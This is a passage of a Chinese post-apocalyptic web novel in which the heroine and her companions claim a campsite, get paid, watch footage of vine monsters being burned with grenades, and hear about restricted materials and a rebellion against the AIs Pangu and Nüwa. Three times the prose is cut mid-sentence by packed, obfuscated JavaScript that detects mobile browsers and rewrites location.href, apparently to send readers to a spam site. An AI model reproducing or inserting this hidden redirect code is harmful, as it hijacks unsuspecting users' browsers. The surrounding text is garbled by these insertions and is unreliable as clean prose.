某个差不多等同于“你喜欢咸豆腐脑还是甜豆腐脑”的无关痛痒话题结束后,歇了会儿,沈司奥冷不丁说: “那个男孩……” 呼呼夜风中,机械师的声音顺着风向从前往后刮: “虽然当时你讲什么‘到了十二区给我送你养的花’,但你其实无所谓吧?你没留他的联系方式。” “我猜你后面不会再主动去找他,也无所谓他后面还来不来找你。” “是无所谓。”时却说,“顺嘴一说,让他好受点而已。” “问这个干什么?” “没什么,忽然想到了。”沈司奥偏了一下头,仿佛仅是随口般,利落地结束这个简短的口水话题。 这多少算个话头,时却侧身看了开在前头的蒋云霞的车,不期然想起她不久前的那句“被动”的评价: “怎么,你对蒋姐刚才的话有看法?” “什么话。” “装蒜,”她一巴掌拍在沈司奥的腰侧,“不问名字的那几句。还有那个‘被动’的评价。” “……那块痒!”有限的空间里,沈司奥腰那处的肌肉一缩,显出尽力躲闪的狼狈模样。 等稳住气息,他说:“没看法。” 时却深表怀疑:“真没有?” “没有。你觉得自己没问题,就没问题。” 这下轮到时却被噎到。 摩托在林间穿梭,一会上的是沥青大路,一会又转到羊肠小道。 颠簸与平稳的交替之中,时却鬼使神差点开终端里左撇子女的头像,在冷风中对着那一串账户号发起呆。 过了会,她重新检视脑袋里那段虚假的社畜人生。检视完成后,又去回顾迄今为止的遭遇。 意外地,她发现迄今为止,自己是认识了许多人没错,但—— 沈司奥的名字是偷听来的。 流萤、细雨、蜥蜴、方文文、蒋云霞、柳广知、方文文,这几人在认识后或迟或早地主动进行了自我介绍。 壁虎和花朵姐是沈司奥介绍的,晨晨由花朵姐介绍,疯牛和泥猪由蒋云霞介绍。 而蒋云霞那对不幸被蛰去世的队友,蒋云霞是为了安慰时却,才引出的‘小杜’这一称呼,小杜的表哥时却至今想到了也只会用“小杜的表哥”这五个字形容。 还有拿园艺剪刀的男孩、左撇子女和她的同伴。 这些人虽然和时却有过互动,并且在认识的当时,与时却很可能会有进一步的交集,她竟也从未想过,有必要主动询问他们中任何一人的姓名或称呼。 一个都没有。 ……这代表什么? 于无处不浸润的夜色之下,道路两旁的婆娑树影相继倒退,不断靠近又远离这辆行驶中的摩托。 相对广阔的天幕和黑漆漆的林间道,它用以前行的照明灯光显得微小且势弱。 沈司奥似乎无话可说了,不再开口,留给时却黯淡的光线加上嗡鸣的车辆行驶声。 这两个要素叠加起来十分催眠,时却没一会便截断思绪,将在脑子里横冲直撞的“被动”二字打入冷宫,选择不再想下去。 她闭目养神起来,直至周围逐渐能听到无人机播报的声响。 今晚的扎营地不是缓冲点,最近的缓冲点13-6得到明晚才能抵达,因此三人到达时,整个扎营地才收拾完不久。 “我和沈司奥去占搭帐篷的地方。”时却一面分别给壁虎和流萤发消息,询问前者定位,询问后者见面时间,一面打算和蒋云霞分开。 “等等,”蒋云霞拦住两人,“不用占位置,我们吃饭去。” 时却和沈司奥先后露出问号脸。 沈司奥疑惑:“难道你收到消息,蝎子今晚会强制分配休息区域?” 时却震惊:“齐姐的‘和平鸽’作法延迟生效了?”紫蝎们都吃斋念佛啦? 蒋云霞呼出全息屏幕,先说了句看似无关的话。 “我路上留意过了,没有其他紫蝎弄死花藤的消息传出来……很有可能,我们这行人是唯一成功自己弄死花藤的。” 时却:“所以?” “还没反应过来?” 蒋云霞露出颇有点恨铁不成钢,但又不是很意外的表情。 她看了看时却,啧了一声,打开那二十来人的紫蝎群,在里头发消息: 【还有搭帐篷的地方没?】 下一秒就有人回复。 【有地方。】 时却:“我不认为会有人无偿给我们占位置。” “是不会,”蒋云霞肯定地点头,话锋一转,“但如果我要那人做的只是个举手之劳呢?就像…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945651|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她还在找词汇,沈司奥突然接话:“像辐射前大学课堂里的占座一样。” “这个比喻真少见,”蒋云霞道,“差不多就那样。” 占座。时却自然对这种活动不陌生。 在社畜时却的大学生活里,同寝室一个习惯早到教室的姑娘和她关系好,偶尔她赶不及,两人又想坐在一块,那姑娘就会带她的教科书,先一步给她占座。 蒋云霞手快地发出第二条消息。 【谁帮忙找块地,写上“蝴蝶”两个字,一会我们过去。谢了。】 等上几秒钟,石宇发出张带定位的照片。 按蒋云霞要求,他划了块堪堪能挤下两个帐篷的矩形,在矩形内部写上大大的“蝴蝶占了”四个字。 他拍得粗糙,摄影时拿来在地面上写字的树枝没丢,横躺在“队”字的右下角,根部溅上了些血点。 石宇:【我很好奇哪个敢来,嘿嘿】 一手一个,蒋云霞揽过两人。 “不用去那蹲着,等我们忙完了过去就行了,有人想占这块地和你打一架的话,就占呗,等我们去了再处理。” “如果不想对上我们的话,看见字,就会自己绕开了,是吗?”时却轻声说。 “是。”蒋云霞拍拍时却的肩膀。 “十三区的事情、前些天的事情,再加上今天的花藤,你的外号能让你省很多力气。说不定……” 她眼神一闪,顿了顿,没继续往下说,回身搬出车里的腐烂菇,拿上部分走出几步,语气轻快地转头说:“走,拿钱去。” 时却和沈司奥各自带上剩下的腐烂菇,缀在蒋云霞身后三四步开外。 四周没什么好看的,时却边走边点开终端,调出那张土地上画着“蝴蝶占了”四个字的照片。 “资源”两字,清晰地浮上她心头。 占座。她又想起沈司奥补充的比喻。 可这两者是不一样的,她想。 在大学,支撑“占座”这项动作得以完成的基础是:资源相对充足。 以“座位”作为资源本身,由于一间教室通常能坐完所有学生,所以虽然可能舒适度有些差别,但对于一个听课的人而言,就算想坐在中间却被占了座,不太舒服地坐在了边上,最多不舒服那么一两节课。 即便占座行为发生,基于诸如“尊重先到权利”、“东西到了人就算到的心理暗示”和“避免冲突”等因素,除非做得太过分,一次性占座太多,否则大多数情况下,没人会去纠结这等事。 这才是正常的。在时却认知的文明社会里,竞争失败的后果不应该直接涉及生死。 无论竞争的资源是座位,还是录取名额、奖金、奖牌、职场晋升职位。没有占不上座、考不中、争不过,就存在被杀死概率的道理。 但在这个如今的情景下,花藤的出现,以及花藤目前表现出来的袭击人的特性,使得作为“安全扎营区域”的资源直接拉红,变得不能满足每个人。 竞争失败的后果被替换成实打实的生死概率。 没法赢得竞争,得在扎营地的边缘休息,就有可能被蛰死。 于是,这个末世的那冷酷运行法则再次无比自然地出现。 在文明社会的律令无法生存的土壤上,强者……又或者说,强武力者为尊。 强武力者令人望而生畏,所以“蝴蝶”两个字能令人望而生畏,仅在地面上写下两个字,就能起到威慑作用。 沈司奥轻轻撞了一下时却。 “‘不用打有也许存在的车轮战,甚至能不用和别人起冲突’,这八成是蒋姐没说完的话,”机械师道,“你懂的,对吧?” “嗯。”时却挑挑拣拣,最后这么中规中矩地回应说。 时却知道,蒋云霞让人大大咧咧写下“蝴蝶”二字来占位,而不是放她去和别的紫蝎打个血呼啦差,其中肯定有一部分是为了她的感受着想。 蒋云霞在尽力把“占位置”这三个字上的血腥味吹得淡一些。 不过严格意义上,时却认为今晚的“占位之举”最后得以完成,从道德层面看,绝对该和这位老猎人无关。 她是个有手有脚的家伙,甚至能一巴掌呼死株长得丑不拉几的恶心花藤。 她更愿意称蒋云霞的种种举动为一个提议。 是谁即便秉持着脑内那个社畜在文明社会下养成的正常三观,仍用无言的顺从接受了这个“写字占座”的提议? 不是蒋云霞。是她。 “不愿意做,但会做”,这是昨天关于占位置一事,她对蒋云霞的承诺。 她完成了这个承诺。 75. 应对 托普涨的福,越靠近兑换处,五花八门的变异植物出现得越频繁。 今天,通常被猎物鲜血搞得斑驳的兑换处附近是另一副图景:须叶花瓣掉得随处可见,红绿一片。 直到三人在兑换处排上队,时却也没收到流萤的回复。 壁虎倒是发来了消息,说今天不需要时却陪练,但希望有偿请她帮忙带点东西给花朵姐,让她还算去找他一趟。 本来也划时间给了壁虎,也许还能顺带见见晨晨,时却一口答应下来。 排队等待的过程总是无聊,她观察周遭以打发时间。 紫蝎们十分诚实地一切朝钱看,因此不少人拿来兑换的,都是叠加了两份涨幅的那三种变异植物的至少之一。 蛙藤、百穿花、腐烂菇。 基于花藤可以被分为同百穿花和蛙藤高度相似的两部分,和腐烂菇从外观上看没什么关联,又兼对腐烂菇的模样已经熟得不能再熟了,自己手里还提着一麻袋腐烂菇,时却对观察其他人的腐烂菇毫无兴趣。 挖了一天这玩意,她哪怕闭着眼睛,都能在十分钟内画出七八副形貌不同的菇菇简笔画。 她主要去看周围紫蝎携带的蛙藤和百穿花。 紫蝎们拿来兑换的蛙藤的表皮颜色深浅不一,什么样的都有,和她接触过的正常蛙藤没什么区别。 相较起来,花藤的藤蔓颜色还分明些,绿是绿青是青,浅浓分明。 和蛙藤的情况类似,百穿花和蝎子展示出来的影像一致,巴掌大小,红艳艳的,被一袋一袋地装着。 如果刨去不时从内部掉落出来的死蜂,和路边无害的不知名野花倒没什么区别。 时却打开终端,看到区外地图对百穿花的采集建议只有简单的一句“建议先确保其内毒蜂死亡后再行采摘。 她随口问:“百穿花一般怎么采集?” “这花不是巴掌大小么,就扣上一个罩子。” 蒋云霞食指在空中一划,比划出一个开口朝下的弧形。 “在罩子上开个小口,经过小口伸进去一根点燃的毒香,熏上十几分钟,就能把里头的毒蜂熏死。” “这种毒烟是特制的,熏穴居生物特有效。”她调出全息屏幕,给时却看对应的实物照片。 时却:“随手拿个袋子罩住,系带绑在花枝上,再抠个洞插毒香行么?” 蒋云霞:“可以,处理下,别让香把袋子烧了就行。” “百穿花采起来的困难主要在于它不会一片一片地长,大都七零八落地分散,很考验耐性。而且毕竟在森林里,还要考虑用火安全的问题。” “靠山吃山,靠水吃水,“老猎人摸着下巴说,“我们这些靠森林吃森林的人,怎么也得注意别把自己的饭碗给砸烂。” 时却好奇道:“如果起了森林火灾,管理局会专门派人灭火吗?” “会,”沈司奥加入她们的谈话,“毕竟森林里的变异生物也是一种资源。” 蒋云斜身看了看前头的队伍情况,预估了下三人剩下的排队时长,说:“如果是人为导致的起火,肇事者也会被罚的很惨。这是重罪。” 重罪。 尽管离开十三区不过几天,但基于一连串的经历,这会猛一下在法外之地听到这种属于法律界的俗称,时却竟感觉有些陌生。 “我记得不是说什么……‘不追究任何人在防护罩外的任何行为’?” "针对区外森林纵火有修正法条,这种行为是例外,"沈司奥道,“在不少辐射病患者心理崩溃后放火烧林多次后,紧急出台的。” 时却有些吃惊:“那怎么确定肇事者?” 沈司奥推推眼镜:“我记得有一篇报道上讲过,大概是分析卫星观测的起火时间和起火位置,结合那段时间谁去过起火位置,再逐一排除。” “等等,”时却摆摆手,抓住他话里透露出来的一个点,“难道我们的终端定位,管理局想调就能调?” 沈司奥摇摇头:“看事件性质?管理局也许要向联合政体申请?这种行政细节我不太清楚,” “总之,终端的研发管理所是直属于联合政体的机构,肯定能做到精准定位和记录任何一个终端的操作。” ……时却决定日后如有需要做坏事,第一个举动必定为丢掉终端。 又聊聊停停了几句,队伍准备排到三人时,齐姐给蒋云霞打来一笔款项,是巢穴内所有战利品扣除了蝎子救助费用后三人的酬劳。 “齐姐从她那部分划了些钱给你。然后,这个你看一下。” 蒋云霞给时却看齐姐和她的最新聊天记录。 齐姐先是询问蒋云霞时却现在的状况是否看着还好,等蒋云霞回了个是后,又发了一条较长的消息。 这条信息的内容大概是,虽然时却在围猎花藤的过程中出了较多的力,但要单独提高给她报酬,估计会扯皮很久,所以她索性把自己的一半酬劳划了出来,算肯定时却。 末了,齐姐说很欣赏时却的战斗能力,请加一下她的终端好友。 如果到达十二区后,时却有兴趣给巡逻队做些兼职,或为研究所带区外样品,或希望做其他任何与管理局职能相关的任务,都可以询问她详情。 其实从名义上看,这趟巢穴执行中,齐姐甚至没有一个被众紫蝎公开承认的带队人身份。她能友好这种程度,时却多少有些吃惊。 “不然你以为这么多人为什么在齐姐面前一声不吭,指哪打哪,”蒋云霞摆摆手,“齐姐不缺钱,你收下就行。” 钱这东西当然没人嫌多。 时却美滋滋地让蒋云霞把大部分的钱转进沈司奥的账户,剩下的部分则直接从蒋云霞那拿了纸钞带在身上,以备不时之需。 兑换的队伍很快轮到时却三人。 兑换完成后,三人草草吃了饭。 时却没细说,只和蒋云霞讲壁虎那边找她,打算和蒋云霞暂别。 不知考虑到什么,听了这话的蒋云霞没有干脆离开,而是踌躇一下,不太确定地询问时却现在感觉身体怎么样。 “一路上我看你的状态还可以,觉得应该没事,也没敢问。”蒋云霞上下打量时却一番,见她面色正常,行动如常,如释重负地吁出口气。 老猎人神色复杂地笑了笑:“这一两个小时下来,再怎么个体差异,也差不多了。看来那个‘毒蜂尾针融化才会使人中毒’的猜测成立。只要及时拔掉尾针,人就有救。” “他们运气不好。”她说。 时却知道蒋云霞想到了自己的两名队友被蛰的那晚。她一时不知道该说些什么,最后拍了拍蒋云霞的肩膀。 三人暂作分别。 时却和沈司奥算起今天的酬劳。售卖腐烂菇的钱加上巢穴之行所得的钱,直接足够他们将每日任务量缴纳到这趟行程的最后一天,还绰绰有余。 他们掉头回去,将剩下几天的每日任务量缴完。 时却心情很好地总结:“总算无债一身轻……不,等等,你没有,你还欠我东西。” 沈司奥举双手投降:“不出意外的话,常识播放器今晚就能拼好。” 时却满意地收下这个承诺,和沈司奥赶往壁虎发来的定位地。 虽说得到的消息为今天不用陪练,不过壁虎定位所在的地点还是时却极为眼熟的大帐篷。 掀开门帘进去,熟悉的八角笼中,蝎子的二把手面前悬浮着全息屏幕,倚着根立柱,一副站立式办公中的模样。 接收到时却“到底打不打的眼神”,壁虎放下敲打半空中键盘的手。 “不打,”他懒洋洋地活动了一下肩颈,“选这里,是我想找个能安静待着的地方。” ”要送什么?“ “一本书,一个口信。”壁虎道,拿下巴点了一下武器架的位置,上面躺的是前几天时却见过的《复仇女神》。 “口信?” 壁虎抱臂:“就说我这几天晚上不过去了。” 闹哪出,这不是发个信息就能解决的事情? 时却眨眨眼,冷静地再次开口确认:“你和花朵姐吵架了,拿我当传声筒?” 壁虎:“……” 蝎子的二把手脸色一黑,不爽地啧了声:“你做就是。” “行。” 调皮地戳了一下作为上帝的甲方痛脚,时却很有自知之明地不再继续。她拿上书。 “走了。” “等等,”壁虎叫住她,“蜥蜴说你今天那个变异植物直接交手了?” 得到时却的肯定后,他饶有兴致地追问时却与花藤交手的具体感受,比如藤蔓的缠绕力度,还有摁花藤进火中时感到的反抗力度等。 “你详细说说。”他要求道。 “详细说说啊……”时却拖长语调。 刚好,相似的情况今天在她身边发生了好几次。 是时候该学以致用了。 时却低头在终端上点了几下,咧嘴露出标准的八颗白牙,给壁虎发去一个收款码。边上的沈司奥向她投去一个赞许的目光。 壁虎:“……” 一手交钱一手交信息,收到转账后的时却进入相当配合模式,有问有答地讲述了一遍自己当时的详细感受。 当然,出于她身体素质的非人性,是艺术加工过的版本。 “你的经历很有价值。”听完讲述的壁虎若有所思。 “我们今天的话,”手指在全息键盘上起落几下,壁虎调出五张一列排开的现场实拍图,“一共收到了五个关于这种变异植物的求助。” 第五张照片里的花藤正是被时却搞死的那株。前四张图片里的花藤看上去和巢穴里的这株还算相似。 要说几株花藤之间最显眼的区别,也就是每株花藤下部的藤蔓数量不等,且相对于巢穴里的花藤而言,有一株花藤的下部全为青色藤蔓。 余下三株的花藤同样是青绿掺杂,其中绿色藤蔓的占比有比巢穴里那株高的,也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951019|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比它低的。 似乎对于花藤来说,藤蔓的具体组成存在一定的随机性。 此外,这四张照片经过裁剪,几乎是花藤的等身照,背景也经过了一定的虚化,是那种可以拿去做PPT的标准资料,这让时却难以判定它们的实际体型。 “我碰到的这株大概是这样的尺寸……” 简单描述了一下,时却接着问其他四株花藤的体型大小。 “有比你那个大点的,也有比你那个小些的,”壁虎道,“我这还有救援视频,看吗?” “当然要看”四个字正准备脱口而出,时却一个激灵,哭笑不得地意识到自己一脚踩入了某个陷阱。 壁虎一挑眉头,点点腕上的终端,嘴角上扬:“看来,我开出了个你无法拒绝的条件。”* 在资源起跑线上压根和蝎子二把手没法比较的时却:“……” 在她痛失到手后还没被焐热的转账后,第一段视频被播放。 录像的人是个黑蝎,自临近救援点开始进行摄影。 视频的画面从一个紫蝎被株花藤追逐,狼狈地在林间逃窜开始。 相较巢穴里的花藤,视频里的花藤更小些,下部只有青藤。 它按理来说更好对付。然而比较惨的是,对上它的紫蝎是个带伤上阵人士。 那紫蝎的腿部多处包着厚厚的绷带,面色呈失血过多式的惨白,脚步虚浮,近乎连滚带爬地在逃跑,俨然不剩多少战斗力。 壁虎适时解说:“这个倒霉蛋,刚被条四脚鱼咬了。” 一阵剧烈的画面晃动后,和摄影黑蝎同行的另一个黑蝎跳下摩托,打开后备箱。 后备箱里躺着数个或通体黑或通体蓝的手雷,各个极为袖珍,弹体的直径仅在两到四厘米之间。 黑蝎从里面抓出颗黑色手雷。 壁虎暂停了一下视频,指了指画面里的黑色手雷:“致命半径两米内,杀伤半径三米半内。” 播放继续。 黑蝎冲紫蝎大喊,让对方使出吃奶的劲跑快点。 待目测紫蝎与花藤之间的距离拉开大于两米,他拔掉保险销,朝花藤接连丢出黑色手雷。 不大不小的爆鸣声和呼啸声混杂着炸开,花藤的身影霎时被黑烟和火焰所笼罩,摄影的黑蝎叫了声好,不远处的紫蝎脱力般面朝下摔倒在地。 一件诡异的事情随即发生。 这手雷的动静似乎是典型的“雷声大雨点小”,黑烟倒是滚滚冒,火光却斯文极了,恰到好处地只蹿到了花藤上方和周侧的几厘米处。 熊熊烈火中,花藤遵循生物本能地想要挣扎。 高温没给它这个机会。 众多藤蔓才顶着跃动的红光上扬,百穿花部分因含水量远低于藤蔓,先一步被烧得黢黑一片。 根根藤蔓随即纷纷无力地掉落在地。 画面横移,拍摄的中心转为投雷的黑蝎。 那黑蝎重新取了一个蓝色的手雷在掌心,投向已失去反抗之力的花藤。 由于二人距离爆炸处有段距离,因此无声地,时却只见到那蓝色手雷在空中划过抛物线,落在花藤跟前。 然后,它毫无预兆地炸开里,数量众多的白色泡沫迸溅,瞬间将所有火舌舔过处厚厚地覆盖完全。 投雷的黑蝎歇了两口气,随手捡了根较粗的树枝,凑近爆炸点,三年下扒拉出花藤的残骸。 花藤的百穿花部分确凿无疑地成了焦炭,不过略触一触,稀稀拉拉碎出一地的黑灰。 它的藤蔓们自表皮往下三分之一处同样烧焦,不过再往深的话,还算保留了比较完整的植物形态。 黑蝎掏出把匕首,随机划开了两根幸运藤。里面的毒蜂纷纷蜷缩成一团,全被烫死。 “其他三个视频还看吗?”壁虎问,“和这个其实没什么区别。” “看。” 钱都花了,又不赶时间。 结果确如壁虎所说,蝎子对付花藤的方法已经确定下来了,基本就两步,依靠黑蓝两色的手雷。 用前者在极短的时间内烧死花藤,用后者生成的泡沫灭火,抵消森林火灾的风险。 沈司奥道:“你们准备得挺齐全。” “是啊,”壁虎看他一眼,“方文文他们几个机械师熬了两三天赶出来的。” 沈司奥推了推眼镜,没再说什么。 视频看也看完了,两人自然不再待下去。 出了帐篷,时却快速在脑中翻了一遍入伍新兵的内容目录,确认里面没有提及过这两种手雷。 不管是火焰高度还是消防泡沫覆盖面积都如此可控的,这两种手雷。 她进一步问沈司奥此事。 机械师觉得没什么。 “这是辐射后的技术,用的还是不算常见的受限材料,入伍新兵这种不算高级的功能模块没有提及很正常。” 他拍拍时却的胳膊,随口道:“保镖,对于这个世界,你知道得还少呢。” 76. 叛乱 时却有一下没一下地把那本《复仇女神》上抛再接住。 “你的意思是,入伍新兵里的内容比较落后?” “这话有点刻薄,应该说,入伍新兵里的内容比较基础,”沈司奥挑眉,“举个不太恰当的比方,这和小学数学课本不会写微积分方程是一个道理。” “作为一个不高级的功能模块,它可以收录的内容有限,舍弃掉新型武器的信息,合情合理。” “好吧。”时却叹口气,觉得李哥还是不够努力。 她默默忽略掉李哥已经见阎王了的事实,并在脑子里胡编乱生造了个一听就很酷炫狂拽的模块名称: 快检讨一下自己吧李哥,当黑恶势力这么多年,怎么就买得起一个安了入伍新兵的战斗仿生人?* 你什么身份,不得买个“超级兵王”之类的高级模块吗?! 面上,她端住形象包袱,神情平静地继续请教: “你说的‘受限材料'',又是怎么回事?” 人形常识播放器当多了,机械师很上道地进入预备解说的阶段: “这个解释起来有点复杂,让我想想该怎么说。” 时间不急,加上沈司奥需要时间组织语言,两人以饭后散步的姿态,慢悠悠地朝着灰蝎的集中扎营区域走。 这会为大多数人吃过了晚饭的时间,不管走到哪,多熙攘一片。 浓郁夜色下,扎营地群像如同一副静谧铺开的画卷,顺势于他们的身侧徐徐流动。 一个黑蝎将盏挂式的户外灯随手挂在根粗实的枝杈上,再走出数步,布置新的户外灯。 有喝得醉醺醺的紫蝎走着走着一屁股坐到地上发起酒疯,喊叫着大不了给蛰死在路上,再被青筋暴起的队友愤怒地赏了两个暴栗。 一名蓝蝎耳朵上挂着无线耳机,同语音通话的另一头嘀嘀咕咕,懊悔自己这趟没多进些防蜂防虫用具。 “再不济,”他懊悔万分,仿佛看到众多钞票长出翅膀,扑棱着从自己的钱包里争先恐后地飞走,“我当初多批发几套加厚帐篷也行啊!” 两个大冷天中裹得严严实实的粉蝎结伴而行。 一个笑另一个看着像个矮冬瓜,另一个反唇相讥对方走起路来简直和企鹅没什么两样。 “嗳,”一人啪地一下拍上另一人的大腿,“你穿秋裤了吧?” “难道你没穿?” “穿了。一会先找个厕所脱了吧。之前有个老不死的为这个投诉我,说没情/趣,老板扣我钱了。” “呸,不要脸!” “可不是!我转头把他的蓝色小药丸全换成了泻药。拉得他三天爬不起来。” “干得漂亮!” 一个脖挂灰蝎卡的少女把玩着胸前的麻花辫,挽着个看样子大她七八岁的黑蝎的胳膊,抱怨道: “哥,澡堂下次什么时候开,我头发油得不行了。” “看通知,”黑蝎温和地安慰,“我今晚烧水给你弄,行吧?” 少女一甩辫子笑起来,得寸进尺,摇起自家哥哥的手,自下而上地抬眼瞧道:“那你什么时候让我加入蝎子呀?” 黑蝎露有些头疼的神色:“说了多少……唉,这不是闹着玩的事情,再说吧。” 看样子,他们不是第一次讨论这个话题了。 “哼,”少女噘嘴,“每回都敷衍我,不理你了。” 她和时却擦肩而过,一阵细微且熟悉的白玉兰香气随之传来。 这是在时却跟前平地摔过的那个半大少女。 少女的视线平静地掠过时却二人,显然完全忘了萍水相逢的时却。 借由擦肩时刻,时却暗自评估了下她的头发,觉得也没算很油,不过能坑到哥哥烧水的话,自然不洗白不洗。 沈司奥拿胳膊肘碰了时却一下。 “我得先说些大部分和受限材料不直接相关的东西,但我觉得你该知道。” 他清清嗓子:“我开始了?” 时却做出个手心上翻的邀请姿势,十分诚恳道:“老师请讲。” 沈司奥:“辐射之后,只要会喘气,算前序生物或变异生物——也就是受辐射影响的生物。这是你已经知道的。” “对。” “虽然人的数量因为辐射病的关系减少了,但人不能长期脱离有防护罩保护的各个区,否则会加快体内累计辐射量的进程。” 路边走来一个啃着干粮的紫蝎,沈司奥朝对方的方向努努嘴。 “防护罩的覆盖面积有限,仅在保护罩内进行种植来获取动植物,再加工成食物或防辐射物,难以完成这两种资源的足量供给。” “好在,区外存在大量的、疯长的、疯狂繁殖的变异生物资源。不过这样的话,还有一个问题随之而来。” 他呼出区外地图,拉出长长的一溜变异生物列表。 “变异生物的种类很多,连带采集和狩猎的方法五花八门,联合政体没法仅凭官方人员的力量,去维持一套物资发放体系。” 这一点,时却相当理解。 她接触过的几种变异动植物各有各的捕猎或采集方法,彼此之间八杆子打不着,多数时候还要因地制宜。 难以想象,要如何才能设计出一套光靠官方力量,就可以长期大量地捕猎或采集变异生物的体系。 沈司奥接着说,由此,联合政体自然而然地想到,需要让民间力量参与进来。 它设计了一套回收变异生物的价格体系,鼓励民众基于兑换所得的酬劳出区狩猎、采集,促成‘区外猎人’这一群体形成。 配套地,联合政体逐步放松了枪支刀具的管制。 在人工智能盘古和女娲上线后,基于防辐射物的产线良率飙升,对作为原料的受辐射物需求量更大,武器管制被完全放开。 沈司奥抬手碰了一下挂在腰间的电击器。 “这是为什么我们如今可以随便携带冷热兵器,方文文还能搓手雷的缘故。” “记下了,”时却挠挠头,不确定机械师的前摇放完了没,“这和‘受限材料’的关系是?” 显然没放完的沈司奥先指时却腰上的匕首,再指她腰上的枪。 “要让马跑,不仅得让马吃饱,还得确保你的马群数量充足。一个普通人,是持匕首进入区外可能生还的几率高,还是枪?不用问,当然是枪。” “武器的先进程度,决定了联合政体那套‘回收体系’能稳定运转的时间。” 他推推眼镜。 “直到今时今日,还有很多科学家致力于研究各种武器,提高狩猎、采集变异生物的效率。研发特制材料就是其中的一个重要分支。” ……就这个,时却有不同的切身看法。 这数天来,她可半点没感受到的这一点。 能给她以未来科幻感的东西不算多也不算少,但能算上“武器”范畴的,只有她自己和战斗型仿生人。 四舍五入约等于零。 沈司奥继续讲述。他摊手:“我的铺垫结束了。” 他接着说,基于前述种种情况,受限材料,它指的是辐射后科学家们为了提高变异生物的猎杀效率而研发出来,且被限制发售、购买和使用的特定物质。 不知不觉间,二人走入灰蝎的集中扎营区域。 时却前几天见过的那数个男孩女孩,恰巧在玩老鹰抓小鸡的游戏。 两个看上去年龄相仿的男女孩分别充当老鹰和母鸡,比他们年龄都小些的其他孩子当小鸡。 老鹰男孩很敬业地维持着自己反派的人设。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954239|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他嘴里嗷直喊“我今天一定要吃到肉”,极为灵活地左右横跳,试图越过母鸡,去够她身后的小鸡。 母鸡女孩双臂大张,不停挥舞,极力防守。 小鸡崽们各个拉着相邻同伴的衣角,连成串地缀在母鸡后头,忙不迭地随母鸡的跑动一个跟着一个迈动小短腿,不时爆出怪叫和嬉笑声。 “老鹰来啦,快跑!” “轻点扯,我拉链都给你拽开了!” “啊啊啊噫咦哟——” “臭小胖,你踩我脚啦!” 这嘈杂响动并不影响时却听清身边人的声音。 沈司奥道:“一开始,如今被列入受限材料的物质,是放开给民众使用的。效果很好,避免了很多伤亡。” 他们走近老鹰抓小鸡的孩子们。 缀在母鸡后头当小尾巴的小鸡们太多了,连成长长的一串,终于在某个时刻躲闪不及,被反派大老鹰逮住末尾的一只。 “抓住了!小胖!”老鹰男孩嘎嘎怪笑,举起两只特意曲成鸡爪壮的小手,“我要吃了你,哇咔咔!” 被抓住的小胖生气地撇嘴跺脚,不服气地哼了一声。 “那我变成小鸡啰,”原老鹰男孩一溜烟跑到小鸡的队尾,因为身高太高,在一众小鸡里显得有些突兀。 男孩朝小胖吐舌头:“略略,该你是老鹰了。” 小胖十分配合,当即一个鬼魂附体般的川剧变脸,恶狠狠地举起两只鸡爪子手,嗷呜一声: “——小胖老鹰来也!” 新一轮游戏开始,孩子们又是阵阵嬉笑。 于这无忧无虑的笑声里,时却问沈司奥: “既然效果很好,为什么后来限制?后来发生了什么?” 在新上岗的小胖老鹰的威胁下,母鸡带小鸡们跑动起来。 一个原先在小胖前头、后又在原老鹰男孩前头的孩子,突然好似绊倒了什么,侧身狠狠摔了一跤。 憋嘴含泪爬起来后,那孩子当即大哭,拨浪鼓似地摇头,委屈地揉眼睛,连说自己不玩了。 除去原老鹰男孩不知为何站在了原地,低头用手指搅起衣角,其他孩子纷纷围住问: “怎么啦,你怎么啦?” 那孩子一指原来扮演老鹰的男孩,跺脚哭道: “他跑好快,他就不能是我们小鸡一边的,我跟不上,我是给他扯倒的!” 沈司奥停步看向这群孩子们,注视其他孩子略有些为难地看向那原来扮演老鹰的男孩。 “你还记得女娲和盘古吗?那两个用来辅助仿生物和防辐射物生产的人工智能。” “记得。” “它们做到稳定地辅助这些东西生产后,联合政体有尝试过……让它们参与更多的事情,比如终端的开发和运行管控、重点科研项目数据的辅助计算,等等。” 时却不知道他为什么突然讲起这个。 “不久,就有几个区的管理局跳出来联合反对此事,”沈司奥收回视线,重新走动起来。 “理由是联和政体给予了人工智能太多权限,且他们有理由相信,盘古和女娲意图掌控整个人类群体。反正说辞就是‘非我族类,其心必异’那套。” “他们仅给出了些似是而非的指控,没有提供决定性的证据。这事最终不了了之。” “一年后,这几个区内爆发了联合叛乱,意图独立,并宣扬终究将以武力手段逼迫盘古和女娲下线。那场叛乱最后也被镇压。” “难道,”时却挠挠头,“叛乱时他们用了……” 